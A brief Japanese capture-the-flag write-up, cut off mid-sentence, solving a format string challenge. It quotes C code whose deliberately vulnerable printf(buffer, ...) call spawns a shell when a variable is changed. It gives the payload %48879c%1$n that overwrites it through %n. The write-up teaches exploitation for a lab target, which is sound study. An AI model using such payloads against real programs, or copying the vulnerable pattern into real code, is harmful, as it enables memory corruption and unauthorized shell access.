腐った牛肉を復活させてください!
🦙 < フラグは
flag.txt
にあるパカ
抜粋
int main(void) {
int key = 0xdead, dummy = 0xdead;
char buffer[12];
printf("input > ");
scanf("%11s", buffer);
printf("Your input: ");
printf(buffer, &key, &dummy); // !?
printf("\\n");
if(key == 0xbeef){
printf("key = 0x%x (dummy = 0x%x), ok!\\n", key, dummy);
printf("Congratulations! spawning shell...\\n");
execve("/bin/sh", NULL, NULL);
}
else{
printf("key = 0x%x (dummy = 0x%x), try again!\\n", key, dummy);
}
return 0;
}
keyの値を0xdeadから0xbeefに変える問題。
コメントで!?とある部分を確認すると、FSBに気づく。
%48879c%1$n を入力として与えれば、
0xbeef(48879)文字分出力(%c)、1番目(1$)の引数に出力文字数書き込み(%n)
となり、keyを書き換えられる。
余談
「詳解セキュリティコンテスト」を読むと分かりやすいはず。
今回は引数の指している場所の書き換えでシンプルだったが、